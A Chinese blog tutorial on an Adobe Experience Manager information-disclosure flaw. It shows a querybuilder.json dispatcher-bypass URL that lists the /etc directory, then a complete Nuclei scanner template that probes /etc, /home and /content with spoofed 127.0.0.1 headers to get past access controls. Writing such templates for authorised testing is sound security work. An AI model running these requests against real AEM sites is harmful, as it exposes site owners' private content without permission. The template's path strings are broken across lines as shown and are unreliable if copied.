AEM漏洞与Nuclei Template编写

2022-10-27 10:43:33 浏览数 (2)

一、首先:什么是AEM?

AEM 是 "Adobe Experience Manager" 的英文缩写。是由一个 Java 构建的全面的内容管理解决方案。它可以辅助网站的动态数字体验,也辅助了内容的碎片化整理。

一句话概括上面的官方废话:就是一个CMS

二、开门见山:

Adobe CQ5默认的查询服务器 JSON :

代码语言:javascript复制
`http://localhost/bin/querybuilder.json

我们可以通过Fuzz来遍历系统读取的利用点

发现了状态200的利用方式

再构造文件读取参数?path=

链接缝合:

代码语言:javascript复制
/bin/querybuilder.json.;
jaky.css?path=/etc

效果展示:

可见状态显示:success

并出现了etc下的目录

三、构造Template

代码语言:javascript复制
id: Jaky_AEM

info:
  name: Jaky_AEM
  author: Jaky
  severity: high
  reference:
    - https://www.luomiweixiong.com/
  tags: Jaky_AEM

requests:
  - method: GET
    path:
      - "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/etc"
      - "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/home"
      - "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/content"


    headers:
      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "success.*results"

info:告诉nuclei该Template的信息.

requests:请求方式 (一看就懂).

headers:加入127.0.0.1的一些方式,可以绕过某种机制.

matchers:回显的匹配,正则、状态码等.

0 人点赞